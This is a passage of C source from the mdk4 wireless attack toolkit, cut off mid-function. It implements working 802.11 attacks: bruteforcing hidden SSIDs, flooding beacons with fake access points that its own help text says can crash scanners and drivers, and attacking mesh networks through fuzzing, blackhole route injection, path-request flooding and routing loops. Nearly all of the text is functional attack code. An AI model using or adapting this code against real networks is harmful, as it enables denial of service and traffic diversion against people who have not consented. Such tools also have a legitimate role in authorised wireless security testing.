char *whitelist; unsigned char blacklist_from_file; unsigned char blacklist_from_essid; unsigned char blacklist_from_bssid; unsigned char blacklist_from_station; unsigned char whitelist_from_file; unsigned char whitelist_from_station; enum blacklist_type isblacklist; unsigned int speed; int stealth; }; void deauth_shorthelp(); void deauth_longhelp(); struct attacks load_deauth(); void *deauth_parse(int argc, char *argv[]); struct packet deauth_getpacket(void *options); void deauth_print_stats(void *options); void deauth_perform_check(void *options); struct ether_addr get_target_bssid(); #endif mdk4-master/src/attacks/ieee80211s.h0000644000175000017500000000016413525065636020056 0ustar samuelophsamueloph#ifndef HAVE_IEEE80211S_H #define HAVE_IEEE80211S_H #include "attacks.h" struct attacks load_ieee80211s(); #endifmdk4-master/src/attacks/attacks.c0000644000175000017500000000100613525065636020011 0ustar samuelophsamueloph#include #include "attacks.h" int attack_count = 9; struct attacks *load_attacks(int *count) { struct attacks *attacks = malloc(sizeof(struct attacks) * attack_count); attacks[0] = load_beacon_flood(); attacks[1] = load_auth_dos(); attacks[2] = load_probing(); attacks[3] = load_deauth(); attacks[4] = load_countermeasures(); attacks[5] = load_eapol(); attacks[6] = load_ieee80211s(); attacks[7] = load_wids(); attacks[8] = load_fuzz(); *count = attack_count; return attacks; } mdk4-master/src/attacks/probing.c0000644000175000017500000002627513525065636020036 0ustar samuelophsamueloph#include #include #include #include #include #include #include "probing.h" #include "../osdep.h" #include "../helpers.h" #include "../brute.h" #define PROBING_MODE 'p' #define PROBING_NAME "SSID Probing and Bruteforcing" struct probing_options { struct ether_addr *target; char *filename; char *ssid; unsigned int speed; char *charsets; char *proceed; unsigned int channel; }; //Global things, shared by packet creation and stats printing unsigned int probes, answers; char *filessid = NULL; void probing_shorthelp() { printf(" Probes APs and checks for answer, useful for checking if SSID has\n"); printf(" been correctly decloaked and if AP is in your sending range.\n"); printf(" Bruteforcing of hidden SSIDs with or without a wordlist is also available.\n"); } void probing_longhelp() { printf( " Probes APs and checks for answer, useful for checking if SSID has\n" " been correctly decloaked and if AP is in your sending range.\n" " Bruteforcing of hidden SSIDs with or without a wordlist is also available.\n" " -e \n" " SSID to probe for\n" " -f \n" " Read SSIDs from file for bruteforcing hidden SSIDs\n" " -t \n" " Set MAC address of target AP\n" " -s \n" " Set speed (Default: 400)\n" " -b \n" " Use full Bruteforce mode (recommended for short SSIDs only!)\n" " You can select multiple character sets at once:\n" " * n (Numbers: 0-9)\n" " * u (Uppercase: A-Z)\n" " * l (Lowercase: a-z)\n" " * s (Symbols: ASCII)\n" " -p \n" " Continue bruteforcing, starting at .\n" " -r \n" " Probe request tests (mod-musket)\n"); } void *probing_parse(int argc, char *argv[]) { int opt; struct probing_options *popt = malloc(sizeof(struct probing_options)); popt->target = NULL; popt->filename = NULL; popt->ssid = NULL; popt->speed = 400; popt->charsets = NULL; popt->proceed = NULL; popt->channel = 0; while ((opt = getopt(argc, argv, "e:f:t:s:b:p:r:")) != -1) { switch (opt) { case 'e': if (popt->filename || popt->charsets || popt->proceed || popt->channel) { printf("Select only one mode please (either -e, -f, -b or -r), not two of them!\n"); return NULL; } popt->ssid = malloc(strlen(optarg) + 1); strcpy(popt->ssid, optarg); break; case 'f': if (popt->ssid || popt->charsets || popt->proceed || popt->channel) { printf("Select only one mode please (either -e, -f, -b or -r), not two of them!\n"); return NULL; } popt->filename = malloc(strlen(optarg) + 1); strcpy(popt->filename, optarg); break; case 's': popt->speed = (unsigned int) atoi(optarg); break; case 't': if (popt->ssid) { printf("Targets (-t) are not needed for this Probing mode\n"); return NULL; } popt->target = malloc(sizeof(struct ether_addr)); *(popt->target) = parse_mac(optarg); break; case 'b': if (popt->filename || popt->ssid || popt->channel) { printf("Select only one mode please (either -e, -f, -b or -r), not two of them!\n"); return NULL; } popt->charsets = malloc(strlen(optarg) + 1); strcpy(popt->charsets, optarg); break; case 'p': if (popt->ssid || popt->filename || popt->channel) { printf("Select only one mode please (either -e, -f, -b or -r), not two of them!\n"); return NULL; } popt->proceed = malloc(strlen(optarg) + 1); strcpy(popt->proceed, optarg); break; case 'r': if(popt->ssid || popt->filename || popt->proceed || popt->charsets || popt->target){ printf("Select only one mode please (either -e, -f, -b or -r), not two of them!\n"); return NULL; } popt->channel = (unsigned int) atoi(optarg); break; default: probing_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if((! popt->target) && popt->channel) { printf("Probe request need a target MAC address (-t)\n"); return NULL; } if(popt->channel) osdep_set_channel(popt->channel); if ((! popt->target) && popt->charsets) { printf("Bruteforce modes need a target MAC address (-t)\n"); return NULL; } if ((! popt->target) && popt->filename) { printf("No target (-t) specified, will display ALL responses!\n"); } if ((! popt->charsets) && popt->proceed) { printf("You need to specify a character set (-b)\n"); return NULL; } if (!popt->filename && !popt->ssid && !popt->charsets && !popt->channel) { probing_longhelp(); printf("\nOptions are completely missing.\n"); return NULL; } if(popt->channel) popt->proceed = malloc(288); return (void *) popt; } unsigned int get_ssid_len(struct ether_addr target) { struct ieee_hdr *hdr; struct packet pkt; struct ether_addr *ap; char *ssid; unsigned char ssidlen; printf("Waiting for a beacon frame from target to get its SSID length.\n"); while(1) { pkt = osdep_read_packet(); if (pkt.len == 0) exit(-1); hdr = (struct ieee_hdr *) pkt.data; if (hdr->type == IEEE80211_TYPE_BEACON) { ap = get_source(&pkt); if (MAC_MATCHES(*ap, target)) { ssid = get_ssid(&pkt, &ssidlen); if (ssidlen < 2) { free(ssid); return 0; } //SSID lengths 0 and 1 are known to be "full hidden", ie no length info :( if (strlen(ssid) == ssidlen) { printf("WARNING: SSID DOES NOT SEEM TO BE HIDDEN, SSID IS %s\n", ssid); printf("mdk4 will still continue, but its unlikely that this SSID is wrong\n"); } free(ssid); return ssidlen; } } } } struct packet create_probe_req(struct probing_options *popt) { struct packet probe; unsigned char i,c,type, ssid_len; unsigned char ssid[256] = {0}; struct ether_addr apmac = *(popt->target); struct ether_addr stamac = generate_mac(MAC_KIND_RANDOM); struct ether_addr bcast = {.ether_addr_octet = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }}; type = random()%2; for (i=0;i<255;i++) { if (type) c=0x80+(random()%0x80); else c=0x41+(random()%25); ssid[i]=c; } type = random()%4; switch(type){ case 0: create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, apmac, stamac, apmac, SE_NULLMAC, 0); break; case 1: create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, bcast, stamac, apmac, SE_NULLMAC, 0); break; case 2: create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, apmac, stamac, bcast, SE_NULLMAC, 0); break; case 3: create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, bcast, stamac, bcast, SE_NULLMAC, 0); break; default: break; } type = random()%2; if(type == 0) ssid[32] = 0; add_ssid_set(&probe, ssid); add_rate_sets(&probe, 1, 1); memset(popt->proceed, 0, 288); stpcpy(popt->proceed, ssid); return probe; } struct packet probing_getpacket(void *options) { struct probing_options *popt = (struct probing_options *) options; struct packet pkt; struct ether_addr src; static unsigned int ssidlen = 0, havessidlen = 0, brutelen = 1; if(popt->channel){ pkt = create_probe_req(popt); probes++; return pkt; } if (! havessidlen && popt->target) { ssidlen = get_ssid_len(*(popt->target)); printf("SSID length is %d\n", ssidlen); havessidlen = 1; } sleep_till_next_packet(popt->speed); src = generate_mac(MAC_KIND_CLIENT); if (popt->ssid) { pkt = create_probe(src, popt->ssid, 54); probes++; return pkt; } if (popt->filename) { if (filessid) free(filessid); do { filessid = read_next_line(popt->filename, 0); if (!filessid) { printf("\nWordlist completed.\n"); sleep(3); //Waiting for some leftover packets in queue exit(0); } if (!popt->target) break; if (!ssidlen) break; } while (strlen(filessid) != ssidlen); pkt = create_probe(src, filessid, 54); return pkt; } if (popt->charsets) { if (ssidlen && popt->proceed && (ssidlen != strlen(popt->proceed))) { printf("SSID length and length of bruteforcer start word are not equal. That won't work ;)\n"); pkt.len = 0; return pkt; } if (ssidlen) { popt->proceed = get_brute_word(popt->charsets, popt->proceed, ssidlen); } else { popt->proceed = get_brute_word(popt->charsets, popt->proceed, brutelen); if (popt->proceed == NULL) { brutelen++; popt->proceed = get_brute_word(popt->charsets, NULL, brutelen); } } if (popt->proceed == NULL) { //Keyspace exhausted printf("\nKeyspace exhausted.\n"); sleep(3); pkt.len = 0; return pkt; } pkt = create_probe(src, popt->proceed, 54); return pkt; } pkt.len = 0; return pkt; } void probing_print_stats(void *options) { struct probing_options *popt = (struct probing_options *) options; unsigned int perc; if (popt->ssid) { perc = ((answers * 100) / probes); printf("\rAP responded on %d of %d probes (%d percent) \n", answers, probes, perc); answers = probes = 0; } if (popt->filename) { printf("\rTrying SSID: %s \n", filessid); } if (popt->charsets) { printf("\rTrying SSID: %s \n", popt->proceed); } if(popt->channel){ printf("\rTrying SSID: %s \n", popt->proceed); } } void probing_sniffer(void *options) { struct probing_options *popt = (struct probing_options *) options; struct packet pkt; struct ether_addr *dup, dupdetect, *ap; struct ieee_hdr *hdr; char *ssid; while(1) { pkt = osdep_read_packet(); if (pkt.len == 0) exit(-1); hdr = (struct ieee_hdr *) pkt.data; if (popt->ssid) { //Skip duplicates only in non-bruteforce modes dup = get_destination(&pkt); if (MAC_MATCHES(dupdetect, *dup)) continue; //Duplicate ignored MAC_COPY(dupdetect, *dup); if (hdr->type == IEEE80211_TYPE_PROBERES) answers++; } if (popt->filename || popt->charsets) { ap = get_source(&pkt); if (hdr->type == IEEE80211_TYPE_PROBERES) { if (popt->target && MAC_MATCHES(*ap, *(popt->target))) { ssid = get_ssid(&pkt, NULL); printf("\rProbe Response from target AP with SSID %s \n", ssid); printf("Job's done, have a nice day :)\n"); free(ssid); exit(0); } else if (! popt->target) { printf("\rProbe response from "); print_mac(*ap); ssid = get_ssid(&pkt, NULL); printf(" with SSID %s \n", ssid); free(ssid); } } } } } void probing_perform_check(void *options) { static pthread_t *sniffer = NULL; if (!sniffer) { sniffer = malloc(sizeof(pthread_t)); pthread_create(sniffer, NULL, (void *) probing_sniffer, (void *) options); } } struct attacks load_probing() { struct attacks this_attack; char *probing_name = malloc(strlen(PROBING_NAME) + 1); strcpy(probing_name, PROBING_NAME); this_attack.print_shorthelp = (fp) probing_shorthelp; this_attack.print_longhelp = (fp) probing_longhelp; this_attack.parse_options = (fpo) probing_parse; this_attack.get_packet = (fpp) probing_getpacket; this_attack.print_stats = (fps) probing_print_stats; this_attack.perform_check = (fps) probing_perform_check; this_attack.mode_identifier = PROBING_MODE; this_attack.attack_name = probing_name; return this_attack; } mdk4-master/src/attacks/beacon_flood.c0000644000175000017500000002240113525065636020773 0ustar samuelophsamueloph#include #include #include #include #include #include #include "beacon_flood.h" #include "../osdep.h" #include "../helpers.h" #define BEACON_FLOOD_MODE 'b' #define BEACON_FLOOD_NAME "Beacon Flooding" struct beacon_flood_options { char *ssid; char *ssid_filename; char *mac_ssid_filename; unsigned char all_chars; unsigned char type; char encryptions[5]; char bitrates; unsigned char validapmac; unsigned char hopto; uint8_t channel; uint8_t use_channel; unsigned int speed; unsigned char *ies; int ies_len; }; //Global things, shared by packet creation and stats printing char *ssid = NULL; struct ether_addr bssid; int curchan = 0; void beacon_flood_shorthelp() { printf(" Sends beacon frames to show fake APs at clients.\n"); printf(" This can sometimes crash network scanners and even drivers!\n"); } void beacon_flood_longhelp() { printf( " Sends beacon frames to generate fake APs at clients.\n" " This can sometimes crash network scanners and drivers!\n" " -n \n" " Use SSID instead of randomly generated ones\n" " -a\n" " Use also non-printable caracters in generated SSIDs\n" " and create SSIDs that break the 32-byte limit\n" " -f \n" " Read SSIDs from file\n" " -v \n" " Read MACs and SSIDs from file. See example file!\n" " -t \n" " -t 1 = Create only Ad-Hoc network\n" " -t 0 = Create only Managed (AP) networks\n" " without this option, both types are generated\n" " -w \n" " Select which type of encryption the fake networks shall have\n" " Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2)\n" " You can select multiple types, i.e. \"-w wta\" will only create WEP and WPA networks\n" " -b \n" " Select if 11 Mbit (b) or 54 MBit (g) networks are created\n" " Without this option, both types will be used.\n" " -m\n" " Use valid accesspoint MAC from built-in OUI database\n" " -h\n" " Hop to channel where network is spoofed\n" " This is more effective with some devices/drivers\n" " But it reduces packet rate due to channel hopping.\n" " -c \n" " Create fake networks on channel . If you want your card to\n" " hop on this channel, you have to set -h option, too.\n" " -i \n" " Add user-defined IE(s) in hexadecimal at the end of the tagged parameters\n" " -s \n" " Set speed in packets per second (Default: 50)\n"); } void *beacon_flood_parse(int argc, char *argv[]) { int opt, ch; unsigned int i; struct beacon_flood_options *bopt = malloc(sizeof(struct beacon_flood_options)); bopt->ssid = NULL; bopt->ssid_filename = NULL; bopt->mac_ssid_filename = NULL; bopt->all_chars = 0; bopt->type = 2; strcpy(bopt->encryptions, "nwta"); bopt->bitrates = 'a'; bopt->validapmac = 0; bopt->hopto = 0; bopt->channel = 0; bopt->use_channel = 0; bopt->speed = 50; bopt->ies = NULL; bopt->ies_len = 0; while ((opt = getopt(argc, argv, "n:f:av:t:w:b:mhc:s:i:")) != -1) { switch (opt) { case 'n': if (strlen(optarg) > 255) { printf("ERROR: SSID too long\n"); return NULL; } else if (strlen(optarg) > 32) { printf("NOTE: Using Non-Standard SSID with length > 32\n"); } if (bopt->ssid_filename || bopt->mac_ssid_filename || bopt->all_chars) { printf("Only one of -n -a -f or -v may be selected\n"); return NULL; } bopt->ssid = malloc(strlen(optarg) + 1); strcpy(bopt->ssid, optarg); break; case 'f': if (bopt->ssid || bopt->mac_ssid_filename || bopt->all_chars) { printf("Only one of -n -a -f or -v may be selected\n"); return NULL; } bopt->ssid_filename = malloc(strlen(optarg) + 1); strcpy(bopt->ssid_filename, optarg); break; case 'v': if (bopt->ssid_filename || bopt->ssid || bopt->all_chars) { printf("Only one of -n -a -f or -v may be selected\n"); return NULL; } bopt->mac_ssid_filename = malloc(strlen(optarg) + 1); strcpy(bopt->mac_ssid_filename, optarg); break; case 'a': if (bopt->ssid_filename || bopt->ssid || bopt->mac_ssid_filename) { printf("Only one of -n -a -f or -v may be selected\n"); return NULL; } bopt->all_chars = 1; break; case 't': if (! strcmp(optarg, "1")) bopt->type = 1; else if (! strcmp(optarg, "0")) bopt->type = 0; else { beacon_flood_longhelp(); printf("\n\nInvalid -t option\n"); return NULL; } break; case 'w': if ((strlen(optarg) > 4) || (strlen(optarg) < 1)) { beacon_flood_longhelp(); printf("\n\nInvalid -w option\n"); return NULL; } for(i=0; iencryptions, 0x00, 5); strcpy(bopt->encryptions, optarg); break; case 'b': if (! strcmp(optarg, "b")) bopt->bitrates = 'b'; else if (! strcmp(optarg, "g")) bopt->bitrates = 'g'; else { beacon_flood_longhelp(); printf("\n\nInvalid -b option\n"); return NULL; } break; case 'm': bopt->validapmac = 1; break; case 'h': bopt->hopto = 1; break; case 'c': ch = atoi(optarg); //As far as you can put any byte in the frame's channel field, every possible 8bit value is "valid" ;) if ((ch < 0) || (ch > 255)) { printf("\n\nInvalid channel\n"); return NULL; } bopt->channel = (uint8_t) ch; bopt->use_channel = 1; break; case 's': bopt->speed = (unsigned int) atoi(optarg); break; case 'i': bopt->ies = hex2bin(optarg, &(bopt->ies_len)); break; default: beacon_flood_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } return (void *) bopt; } struct packet beacon_flood_getpacket(void *options) { struct beacon_flood_options *bopt = (struct beacon_flood_options *) options; struct packet pkt; static unsigned int packsent = 0, encindex; static time_t t_prev = 0; static int freessid = 0, freeline = 0; unsigned char bitrate, adhoc; static char *line = NULL; if (bopt->hopto) { packsent++; if ((packsent == 50) || ((time(NULL) - t_prev) >= 3)) { // Switch Channel every 50 frames or 3 seconds packsent = 0; t_prev = time(NULL); if (bopt->use_channel) curchan = (int) bopt->channel; else curchan = (int) generate_channel(); osdep_set_channel(curchan); } } else if (bopt->use_channel) { curchan = bopt->channel; } else { curchan = (int) generate_channel(); } if (bopt->validapmac) bssid = generate_mac(MAC_KIND_AP); else bssid = generate_mac(MAC_KIND_RANDOM); if (freessid && ssid) free(ssid); //We need to keep those just before we change them if (freeline && line) free(line); //To print SSID in print_stats! if (bopt->ssid) { ssid = bopt->ssid; } else if (bopt->ssid_filename) { do { ssid = read_next_line(bopt->ssid_filename, 0); } while (ssid == NULL); freessid = 1; } else if (bopt->mac_ssid_filename) { do { do { line = read_next_line(bopt->mac_ssid_filename, 0); } while (line == NULL); ssid = strchr(line, ' '); bssid = parse_mac(line); if (! ssid) { printf("Skipping malformed line: %s\n", line); free(line); } else ssid++; //Skip the whitespace freeline = 1; } while (ssid == NULL); } else { ssid = generate_ssid(bopt->all_chars); freessid = 1; } encindex = random() % strlen(bopt->encryptions); if (bopt->bitrates == 'a') { if (random() % 2) bitrate = 11; else bitrate = 54; } else if (bopt->bitrates == 'b') { bitrate = 11; } else { bitrate = 54; } if (bopt->type == 2) { if (random() % 2) adhoc = 0; else adhoc = 1; } else if (bopt->type == 1) { adhoc = 1; } else { adhoc = 0; } pkt = create_beacon(bssid, ssid, (uint8_t) curchan, bopt->encryptions[encindex], bitrate, adhoc); if (bopt->ies) append_data(&pkt, bopt->ies, bopt->ies_len); sleep_till_next_packet(bopt->speed); return pkt; } void beacon_flood_print_stats(void *options) { struct beacon_flood_options *bopt = (struct beacon_flood_options *) options; printf("\rCurrent MAC: "); print_mac(bssid); if (bopt->all_chars) { printf(" on Channel %2d \n", curchan); } else { printf(" on Channel %2d with SSID: %s\n", curchan, ssid); } } void beacon_flood_perform_check(void *options) { //Nothing to check for beacon flooding attacks options = options; //Avoid unused warning } struct attacks load_beacon_flood() { struct attacks this_attack; char *beacon_flood_name = malloc(strlen(BEACON_FLOOD_NAME) + 1); strcpy(beacon_flood_name, BEACON_FLOOD_NAME); this_attack.print_shorthelp = (fp) beacon_flood_shorthelp; this_attack.print_longhelp = (fp) beacon_flood_longhelp; this_attack.parse_options = (fpo) beacon_flood_parse; this_attack.get_packet = (fpp) beacon_flood_getpacket; this_attack.print_stats = (fps) beacon_flood_print_stats; this_attack.perform_check = (fps) beacon_flood_perform_check; this_attack.mode_identifier = BEACON_FLOOD_MODE; this_attack.attack_name = beacon_flood_name; return this_attack; } mdk4-master/src/attacks/attacks.h0000644000175000017500000000315313525065636020023 0ustar samuelophsamueloph#ifndef HAVE_ATTACKS_H #define HAVE_ATTACKS_H #include "beacon_flood.h" #include "auth_dos.h" #include "probing.h" #include "deauth.h" #include "countermeasures.h" #include "eapol.h" #include "ieee80211s.h" #include "wids.h" #include "fuzzer.h" #include "../packet.h" typedef void (*fp) (void); typedef char (*fpc)(void); typedef void* (*fpo)(int, char **); typedef struct packet (*fpp)(void *); typedef void (*fps)(void *); struct attacks { /* void */ fp print_shorthelp;/* (void) */ /* void */ fp print_longhelp; /* (void) */ /* void* */ fpo parse_options; /* (int argc, char *argv[]) - Each attack parses its own options and returns a pointer to some struct, // that contains their parsed result. If parsing fail, return NULL, mdk will exit! */ /* packet*/ fpp get_packet; /* (void *) - This is called to get a packet from an attack, supplying the options returned by parse_options as void * */ // Should return the packet mdk3 should send. Use usleep in this call to adjust injection speed // If the packet.data is NULL, and/or packet.len is 0, mdk3 will exit the sending loop /* void */ fps print_stats; /* (void *) - This is called each second to enable attack to print its stats; void * to options supplied */ /* void */ fps perform_check; /* (void *) - Called after each injected packet, implement logic to check for success here */ char mode_identifier; /* A character to identify the mode: mdk3 MODE */ char *attack_name; /* The name of this attack */ }; struct attacks *load_attacks(int *count); int attack_count; #endif mdk4-master/src/attacks/ieee80211s.c0000644000175000017500000003306713525065636020061 0ustar samuelophsamueloph#include #include #include #include #include #include "ieee80211s.h" #include "../osdep.h" #include "../packet.h" #include "../helpers.h" #include "../mac_addr.h" #define IEEE80211S_MODE 's' #define IEEE80211S_NAME "Attacks for IEEE 802.11s mesh networks" struct packet action_frame_sniffer_pkt; pthread_mutex_t sniff_packet_mutex = PTHREAD_MUTEX_INITIALIZER; unsigned int incoming_action = 0; unsigned int incoming_beacon = 0; char blackhole_info[1024]; struct ether_addr info_src, info_dst; struct ieee80211s_options { char *mesh_id; char attack_type; char fuzz_type; unsigned int speed; struct ether_addr *target; }; void ieee80211s_shorthelp() { printf(" Various attacks on link management and routing in mesh networks.\n"); printf(" Flood neighbors and routes, create black holes and divert traffic!\n"); } void ieee80211s_longhelp() { printf( " Various attacks on link management and routing in mesh networks.\n" " Flood neighbors and routes, create black holes and divert traffic!\n" " -f \n" " Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:\n" " The following modification types are implemented:\n" " 1: Replay identical frame until new one arrives (duplicate flooding)\n" " 2: Change Source and BSSID (possibly resulting in Neighbor Flooding)\n" " 3: Cut packet short, leave 802.11 header intact (find buffer errors)\n" " 4: Shotgun mode, randomly overwriting bytes after header (find bugs)\n" " 5: Skript-kid's automated attack trying all of the above randomly :)\n" " -b \n" " Create a Blackhole, using the impersonated_meshpoint's MAC address\n" " mdk4 will answer every incoming Route Request with a perfect route over the impersonated node.\n" " -p \n" " Path Request Flooding using the impersonated_meshpoint's address\n" " Adjust the speed switch (-s) for maximum profit!\n" " -l\n" " Just create loops on every route found by modifying Path Replies\n" " -s \n" " Set speed in packets per second (Default: 100)\n" " -n \n" " Target this mesh network\n"); } void *ieee80211s_parse(int argc, char *argv[]) { int opt, i; struct ieee80211s_options *dopt = malloc(sizeof(struct ieee80211s_options)); dopt->mesh_id = NULL; dopt->attack_type = 0x00; dopt->speed = 100; dopt->target = NULL; while ((opt = getopt(argc, argv, "n:f:s:b:p:l")) != -1) { switch (opt) { case 'f': if (dopt->attack_type) { printf("Duplicate Attack type: Fuzzing\n"); return NULL; } i = atoi(optarg); if ((i > 5) || (i < 1)) { printf("Invalid Fuzzing type!\n"); return NULL; } else { dopt->attack_type = 'f'; dopt->fuzz_type = (char) i; } break; case 'b': if (dopt->attack_type) { printf("Duplicate Attack type: Blackhole\n"); return NULL; } dopt->target = malloc(sizeof(struct ether_addr)); *(dopt->target) = parse_mac(optarg); dopt->attack_type = 'b'; break; case 'p': if (dopt->attack_type) { printf("Duplicate Attack type: PREQ Flooding\n"); return NULL; } dopt->target = malloc(sizeof(struct ether_addr)); *(dopt->target) = parse_mac(optarg); dopt->attack_type = 'p'; break; case 'l': if (dopt->attack_type) { printf("Duplicate Attack type: Loop Forming\n"); return NULL; } dopt->attack_type = 'l'; break; case 's': dopt->speed = (unsigned int) atoi(optarg); break; case 'n': if (strlen(optarg) > 255) { printf("ERROR: MeshID too long\n"); return NULL; } else if (strlen(optarg) > 32) { printf("NOTE: Using Non-Standard MeshID with length > 32\n"); } dopt->mesh_id = malloc(strlen(optarg) + 1); strcpy(dopt->mesh_id, optarg); break; default: ieee80211s_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if (dopt->attack_type == 0x00) { ieee80211s_longhelp(); printf("\n\nERROR: You must specify an attack type (ie. -f)!\n"); return NULL; } if ((dopt->mesh_id == NULL) && (dopt->attack_type == 'f')){ ieee80211s_longhelp(); printf("\n\nERROR: You must specify a Mesh ID for this attack!\n"); return NULL; } return (void *) dopt; } void ieee80211s_check(void *options) { options = options; //No checks yet. } int action_frame_sniffer_acceptpacket(struct packet sniffed) { pthread_mutex_lock(&sniff_packet_mutex); if (sniffed.len == action_frame_sniffer_pkt.len) { if (! memcmp(action_frame_sniffer_pkt.data, sniffed.data, sniffed.len)) { pthread_mutex_unlock(&sniff_packet_mutex); return -1; //Sniffed own injected packet, drop } } action_frame_sniffer_pkt = sniffed; set_seqno(NULL, get_seqno(&sniffed)); pthread_mutex_unlock(&sniff_packet_mutex); return 0; } void action_frame_sniffer_thread(void *target_id) { struct packet sniffed; struct ieee_hdr *hdr; struct action_fixed *act; char *meshid; while(1) { sniffed = osdep_read_packet(); hdr = (struct ieee_hdr *) sniffed.data; if (hdr->type == IEEE80211_TYPE_ACTION) { act = (struct action_fixed *) (sniffed.data + sizeof(struct ieee_hdr)); if (act->category == MESH_ACTION_CATEGORY) { if (action_frame_sniffer_acceptpacket(sniffed)) continue; incoming_action++; } } else if (hdr->type == IEEE80211_TYPE_BEACON) { meshid = get_meshid(&sniffed, NULL); if (meshid) { if (! strcmp(meshid, (char *) target_id)) { if (action_frame_sniffer_acceptpacket(sniffed)) continue; incoming_beacon++; } free(meshid); } } } } struct packet do_fuzzing(struct ieee80211s_options *dopt) { struct packet sniff; static pthread_t *sniffer = NULL; struct ieee_hdr *hdr; static struct ether_addr genmac; static unsigned int genmac_uses = 0; unsigned int curfuzz, i, j; if (! (genmac_uses % 10)) { //New MAC every 10 packets genmac = generate_mac(MAC_KIND_CLIENT); genmac_uses = 0; } genmac_uses++; if (sniffer == NULL) { sniffer = malloc(sizeof(pthread_t)); action_frame_sniffer_pkt.len = 0; pthread_create(sniffer, NULL, (void *) action_frame_sniffer_thread, (void *) dopt->mesh_id); } pthread_mutex_lock(&sniff_packet_mutex); while(action_frame_sniffer_pkt.len == 0) { pthread_mutex_unlock(&sniff_packet_mutex); usleep(50000); pthread_mutex_lock(&sniff_packet_mutex); } sniff = action_frame_sniffer_pkt; pthread_mutex_unlock(&sniff_packet_mutex); if (dopt->fuzz_type == 5) { curfuzz = (random() % 4) + 1; } else { curfuzz = dopt->fuzz_type; } switch (curfuzz) { case 1: increase_seqno(&sniff); return sniff; break; case 2: hdr = (struct ieee_hdr *) sniff.data; hdr->addr2 = genmac; //Src hdr->addr3 = genmac; //BSSID return sniff; break; case 3: sniff.len = sizeof(struct ieee_hdr) + (random() % (sniff.len - sizeof(struct ieee_hdr))); return sniff; break; case 4: j = ((random() % sniff.len) / 4) + 1; for (i=0; ifuzz_type); } sniff.len = 0; return sniff; } struct packet do_blackhole(struct ieee80211s_options *dopt) { struct packet sniff, inject; struct ieee_hdr *hdr; struct action_fixed *act, *actinj; struct mesh_preq *preq = NULL; struct mesh_prep *prep; struct ether_addr *src; while(1) { sniff = osdep_read_packet(); hdr = (struct ieee_hdr *) sniff.data; if (hdr->type == IEEE80211_TYPE_ACTION) { act = (struct action_fixed *) (sniff.data + sizeof(struct ieee_hdr)); if ((act->category == MESH_ACTION_CATEGORY) && (act->action_code == MESH_ACTION_PATHSEL) && (act->tag == MESH_TAG_PREQ)) { preq = (struct mesh_preq *) (sniff.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed)); break; } } } MAC_COPY(info_dst, preq->target); MAC_COPY(info_src, preq->originator); snprintf(blackhole_info, 1024, "Hops %3d TTL %3d ID %3d Metric %5d SeqNo %d/%d", preq->hop_count, preq->ttl, preq->discovery_id, preq->metric, preq->orig_seq, preq->target_seq); src = get_source(&sniff); create_ieee_hdr(&inject, IEEE80211_TYPE_ACTION, 'a', AUTH_DEFAULT_DURATION, *src, *(dopt->target), *(dopt->target), *src, 0); actinj = (struct action_fixed *) (inject.data + sizeof(struct ieee_hdr)); inject.len += sizeof(struct action_fixed); actinj->category = MESH_ACTION_CATEGORY; actinj->action_code = MESH_ACTION_PATHSEL; actinj->tag = MESH_TAG_PREP; actinj->taglen = 31; prep = (struct mesh_prep *) (inject.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed)); inject.len += sizeof(struct mesh_prep); prep->flags = 0x00; prep->hop_count = 0; prep->ttl = 255; prep->target = preq->originator; prep->target_seq = preq->orig_seq; prep->lifetime = preq->lifetime; prep->metric = 0; /*ARRRRR!*/ prep->originator = preq->target; prep->orig_seq = preq->target_seq + 10; return inject; } struct packet do_flood(struct ieee80211s_options *dopt) { struct packet inject; struct action_fixed *act; struct mesh_preq *preq; struct ether_addr bcast; static uint32_t id = 0; static uint32_t seq = 0; uint8_t hops; uint32_t tseq; MAC_SET_BCAST(bcast); create_ieee_hdr(&inject, IEEE80211_TYPE_ACTION, 'a', AUTH_DEFAULT_DURATION, bcast, *(dopt->target), *(dopt->target), bcast, 0); act = (struct action_fixed *) (inject.data + sizeof(struct ieee_hdr)); inject.len += sizeof(struct action_fixed); act->category = MESH_ACTION_CATEGORY; act->action_code = MESH_ACTION_PATHSEL; act->tag = MESH_TAG_PREQ; act->taglen = 37; //Setting up values hops = (random() % 10) + 1; //Plus one so it looks like we just forwarded it ;) id++; seq += (random() % 10); //Randomly increasing sequence counter tseq = seq + ((random() % 50) - 25); //Setting target seq somewhere near orig seq preq = (struct mesh_preq *) (inject.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed)); inject.len += sizeof(struct mesh_preq); preq->flags = 0x00; preq->hop_count = hops; preq->ttl = 31 - hops; preq->discovery_id = id; preq->originator = generate_mac(MAC_KIND_CLIENT); preq->orig_seq = seq; preq->lifetime = 4882; //default? preq->metric = random() % 4096; preq->target_count = 1; //thats enough for now ;) preq->target_flags = 0x02; //wireshark said so preq->target = generate_mac(MAC_KIND_CLIENT); preq->target_seq = tseq; return inject; } struct packet create_loop(struct ieee80211s_options *dopt) { dopt = dopt; //We dont care about options yet struct packet sniff; struct ieee_hdr *hdr; struct action_fixed *act; struct mesh_prep *prep; while(1) { sniff = osdep_read_packet(); hdr = (struct ieee_hdr *) sniff.data; if (hdr->type == IEEE80211_TYPE_ACTION) { act = (struct action_fixed *) (sniff.data + sizeof(struct ieee_hdr)); if ((act->category == MESH_ACTION_CATEGORY) && (act->action_code == MESH_ACTION_PATHSEL) && (act->tag == MESH_TAG_PREP)) { prep = (struct mesh_prep *) (sniff.data + sizeof(struct ieee_hdr) + sizeof(struct action_fixed)); if (prep->metric == 1) continue; //skip injected packets if (prep->hop_count == 0) continue; //cannot create loop at target with itself! break; } } } //Swap Adresses to point packet back the initial route hdr->addr3 = hdr->addr1; //dst to bssid hdr->addr1 = hdr->addr2; //src to dst hdr->addr2 = hdr->addr3; //bssid to src 